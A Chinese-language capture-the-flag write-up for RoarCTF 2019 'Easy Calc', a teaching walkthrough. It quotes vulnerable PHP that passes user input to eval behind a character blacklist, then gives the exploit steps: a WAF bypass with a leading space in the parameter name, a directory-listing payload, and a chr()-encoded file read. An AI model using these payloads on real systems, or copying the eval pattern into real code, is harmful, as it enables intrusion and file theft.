[RoarCTF 2019]Easy Calc

查看源代码

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

这里请求了另一个url，url:"calc.php?num="+encodeURIComponent($("#content").val()),

• url:"calc.php?num=..."：设置请求的目标地址是 calc.php，并通过 GET 方式传递参数 num。

• $("#content").val()：获取 ID 为 content 的输入框（如 <input> 或 <textarea>）的值。

• encodeURIComponent(...)：对输入的内容进行 URL 编码，防止特殊字符（如 &, =, 空格）破坏 URL 结构。

之后的代码是成功返回。。。。失败返回。。。

看一下calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $str)) {
        die("what are you want to do?");
    }
}

• 解释：

  • 获取 num 参数的值（$str = $_GET['num']）。

  • 定义一个黑名单 $blacklist，禁止某些特殊字符（如空格、引号、反引号、$、\ 等）。

  • 使用 preg_match 检查 $str 是否包含黑名单中的字符，如果匹配到则终止程序（die()）

如果通过检查就执行 eval('echo '.$str.';');

eval() 是 PHP 中的一个 危险函数 ，它会将传入的字符串作为 PHP 代码直接执行。

它的基本语法：eval(string $code);

计算的功能也是他实现的，例如输入1+1，eval()后输出2

很明显题目就是让我们绕过黑名单调用eval()执行系统命令来获取flag，这是一道命令注入题（rec远程代码执行）

1.利用php和waf对于请求参数解析的差异达到绕过

calc.php 中的代码使用 eval() 执行用户输入（如 echo a;），而 a 是未定义的变量，PHP 会抛出 警告或错误 （如 Undefined variable 'a'）waf不允许num变量传递字母

那么我们可以在num前加个空格：

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了，因为现在的变量叫" num"，而不是"num"。但php在解析的时候，会先把空格给去掉，这样我们的代码还能正常运行，还上传了非法字符。

2.scandir（）函数和var_dump() 函数

WAF限制了参数num，将传入的参数'num'前添加空格，即'? num'可绕过WAF的判断。然后我们要列出参数目录中的文件和目录，

要不然我们怎么知道flag在哪，因此我们要用到函数scandir（）。scandir() 函数返回指定目录中的文件和目录的数组。

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息，包括表达式的类型与值。数组将递归展开值，通过缩进显示其结构。

所以拼接  ? num=1;var_dump(scandir(chr(47))) 

相当于：

echo 1;           // 正常输出 1
var_dump(scandir(chr(47)));  // 执行恶意代码

chr(47)也就是等价于 /

发现文件f1agg

3.file_get_contents()函数来查询信息

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。

• chr(47) → /
chr(102) → f
chr(49) → 1
chr(97) → a
chr(103) → gnum=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))